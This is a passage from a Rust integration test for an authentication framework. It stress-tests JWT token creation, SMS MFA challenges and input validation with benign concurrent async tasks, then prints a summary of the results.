    // Test 2: Resource exhaustion protection
    let mut tokens = Vec::new();
    for i in 0..100 {
        let token_result = framework
            .create_auth_token(
                &format!("stress_user_{}", i),
                vec![format!("scope_{}", i)],
                "jwt",
                Some(Duration::from_secs(60)),
            )
            .await;

        if token_result.is_ok() {
            tokens.push(token_result.unwrap());
        }
    }

    // Test 3: Mixed operation stress test
    let test_operations = vec![
        // Token operations
        tokio::spawn({
            let framework = Arc::clone(&framework);
            async move {
                for i in 0..50 {
                    let _ = framework
                        .create_auth_token(
                            &format!("concurrent_user_{}", i),
                            vec!["read".to_string()],
                            "jwt",
                            Some(Duration::from_secs(60)),
                        )
                        .await;
                }
            }
        }),
        // MFA operations
        tokio::spawn({
            let framework = Arc::clone(&framework);
            async move {
                for i in 0..30 {
                    let _ = framework
                        .initiate_sms_challenge(&format!("mfa_user_{}", i))
                        .await;
                }
            }
        }),
        // Validation operations
        tokio::spawn({
            let framework = Arc::clone(&framework);
            async move {
                for i in 0..50 {
                    let _ = framework
                        .validate_username(&format!("validation_user_{}", i))
                        .await;
                    let _ = framework.validate_user_input(&format!("input_{}", i)).await;
                }
            }
        }),
    ];

    // Wait for all stress test operations
    for operation in test_operations {
        operation.await.unwrap();
    }

    println!("✅ Comprehensive edge case integration test completed successfully!");
    println!(
        "   • Tested {} concurrent edge case operations",
        handle_count
    );
    println!("   • Created {} tokens under stress", tokens.len());
    println!("   • All operations completed without crashes or panics");
}